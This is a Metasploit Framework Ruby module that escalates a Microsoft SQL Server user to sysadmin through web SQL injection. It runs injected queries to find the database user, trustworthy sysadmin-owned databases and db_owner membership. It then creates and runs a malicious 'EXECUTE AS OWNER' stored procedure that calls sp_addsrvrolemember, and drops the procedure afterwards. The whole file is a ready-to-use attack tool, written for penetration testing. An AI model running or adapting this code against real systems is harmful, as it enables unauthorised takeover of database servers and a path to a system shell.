Path: blob/master/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL_SQLI7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Microsoft SQL Server SQLi Escalate Db_Owner',14'Description' => %q{15This module can be used to escalate SQL Server user privileges to sysadmin through a web16SQL Injection. In order to escalate, the database user must to have the db_owner role in17a trustworthy database owned by a sysadmin user. Once the database user has the sysadmin18role, the mssql_payload_sqli module can be used to obtain a shell on the system.1920The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--21},22'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],23'License' => MSF_LICENSE,24'References' => [['URL', 'http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']],25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [IOC_IN_LOGS],28'Reliability' => []29}30)31)32end3334def run35# Get the database user name36print_status('Grabbing the database user name from ...')37db_user = get_username38if db_user.nil?39print_error('Unable to grab user name...')40return41end4243print_good("Database user: #{db_user}")4445# Grab sysadmin status46print_status("Checking if #{db_user} is already a sysadmin...")47admin_status = check_sysadmin4849if admin_status.nil?50print_error("Couldn't retrieve user status, aborting...")51return52end5354if admin_status == '1'55print_error("#{db_user} is already a sysadmin, no esclation needed.")56return57end5859print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")6061# Check for trusted databases owned by sysadmins62print_status('Checking for trusted databases owned by sysadmins...')63trust_db_list = check_trust_dbs64if trust_db_list.nil? || trust_db_list.empty?65print_error('No databases owned by sysadmin were found flagged as trustworthy.')66return67end6869# Display list of accessible databases to user70print_good("#{trust_db_list.length} affected database(s) were found:")71trust_db_list.each do |db|72print_status(" - #{db}")73end7475# Check if the user has the db_owner role in any of the databases76print_status("Checking if #{db_user} has the db_owner role in any of them...")77owner_status = check_db_owner(trust_db_list)78if owner_status.nil?79print_error("Fail buckets, the user doesn't have db_owner role anywhere.")80return81end8283print_good("#{db_user} has the db_owner role on #{owner_status}.")8485# Attempt to escalate to sysadmin86print_status("Attempting to add #{db_user} to sysadmin role...")87escalate_privs(owner_status, db_user)8889admin_status = check_sysadmin90if admin_status && admin_status == '1'91print_good("Success! #{db_user} is now a sysadmin!")92else93print_error('Fail buckets, something went wrong.')94end95end9697def get_username98# Setup query to check for database username99clue_start = Rex::Text.rand_text_alpha(8..11)100clue_end = Rex::Text.rand_text_alpha(8..11)101sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"102103# Run query104result = mssql_query(sql)105106# Parse result107if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/108user_name = ::Regexp.last_match(1)109else110user_name = nil111end112113user_name114end115116def check_sysadmin117# Setup query to check for sysadmin118clue_start = Rex::Text.rand_text_alpha(8..11)119clue_end = Rex::Text.rand_text_alpha(8..11)120sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"121122# Run query123result = mssql_query(sql)124125# Parse result126if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/127status = ::Regexp.last_match(1)128else129status = nil130end131132status133end134135def check_trust_dbs136# Setup query to check for trusted databases owned by sysadmins137clue_start = Rex::Text.rand_text_alpha(8..11)138clue_end = Rex::Text.rand_text_alpha(8..11)139sql = "(select cast((SELECT '#{clue_start}'+d.name+'#{clue_end}' as DbName140FROM sys.server_principals r141INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id142INNER JOIN sys.server_principals p ON143p.principal_id = m.member_principal_id144inner join sys.databases d on suser_sname(d.owner_sid) = p.name145WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"146147# Run query148res = mssql_query(sql)149150unless res && res.body151return nil152end153154# Parse results155parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)156157if parsed_result && !parsed_result.empty?158parsed_result.flatten!159parsed_result.uniq!160end161162print_status(parsed_result.inspect.to_s)163164parsed_result165end166167def check_db_owner(trust_db_list)168# Check if the user has the db_owner role is any databases169trust_db_list.each do |db|170# Setup query171clue_start = Rex::Text.rand_text_alpha(8..11)172clue_end = Rex::Text.rand_text_alpha(8..11)173sql = "(select '#{clue_start}'+'#{db}'+'#{clue_end}' as DbName174from [#{db}].sys.database_role_members drm175join [#{db}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)176join [#{db}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)177where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))"178179# Run query180result = mssql_query(sql)181182unless result && result.body183next184end185186# Parse result187if result.body =~ /#{clue_start}([^>]*)#{clue_end}/188return ::Regexp.last_match(1)189end190end191192nil193end194195# Attempt to escalate privileges196def escalate_privs(dbowner_db, db_user)197# Create the evil stored procedure WITH EXECUTE AS OWNER198evil_sql_create = "1;use #{dbowner_db};199DECLARE @myevil as varchar(max)200set @myevil = '201CREATE PROCEDURE sp_elevate_me202WITH EXECUTE AS OWNER203as204begin205EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin''206end';207exec(@myevil);--"208mssql_query(evil_sql_create)209210# Run the evil stored procedure211evilsql_run = "1;use #{dbowner_db};212DECLARE @myevil2 as varchar(max)213set @myevil2 = 'EXEC sp_elevate_me'214exec(@myevil2);--"215mssql_query(evilsql_run)216217# Remove evil procedure218evilsql_remove = "1;use #{dbowner_db};219DECLARE @myevil3 as varchar(max)220set @myevil3 = 'DROP PROCEDURE sp_elevate_me'221exec(@myevil3);--"222mssql_query(evilsql_remove)223end224end225226227